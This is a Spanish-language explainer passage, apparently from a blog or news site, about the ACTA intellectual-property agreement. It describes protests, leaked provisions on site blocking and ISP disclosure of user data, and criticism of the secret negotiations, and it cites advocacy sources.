A raíz de estas negociaciones han surgido una serie de protestas, pues documentos filtrados de los acuerdos han revelado que se busca generar una serie de restricciones en el uso de Internet, que podría incluso llegar al cierre o bloqueo de sitios que permitan la descarga de archivos o que violen derechos de propiedad intelectual, además de que se podría bloquear el acceso a Internet del usuario que descargue ese tipo de archivos. Pero sin duda el acuerdo más controversial es el que obliga a los proveedores de Internet revelar la información de sus clientes, para monitorear constantemente la actividad de todos los usuarios.

Existen grupos como Open ACTA que buscan evitar que entre en vigor este acuerdo, que afectaría seriamente los derechos de los usuarios al navegar en Internet, incluyendo el de la privacidad.

Este acuerdo se erigiría como un reglamento a los derechos de autor independiente a los ya existentes, tales como los de la Organización mundial de Comercio (OMC), la Organización Mundial de la Propiedad Intelectual (OMPI) o la Organización de las Naciones Unidas (ONU).

El objetivo definitivo de ACTA es que las grandes economías emergentes “mejoren” sus políticas de propiedad intelectual.

Para este fin ACTA tendrá tres componentes principales:

1.- Cooperación internacional.
2.- Autoridades prácticas, y un
3.- Marco legal para la aplicación de derechos de propiedad intelectual.

Este acuerdo ha recibido críticas de diversos sectores, principalmente de los usuarios de internet, pues las negociaciones no son dadas a conocer ni a los gobiernos ni a la población y la poca información que se filtra apunta a restricciones en el uso de la red, llegando al cierre de páginas que permiten descargar archivos como canciones o películas, además de que en países como Estados Unidos ACTA ha logrado que los proveedores de internet revelen la información de sus clientes, como nombre, dirección, direcciones IP e información de sus hábitos de navegación.

Fuentes:

1.- Open ACTA | STOP ACTA
2.- Publímetro | ¿Qué es ACTA?
3.- La Quadrature du Net | Internet & Libertés
4.- Conectica | QUÉ ES ACTA Y POR QUÉ ES TAN IMPORTANTE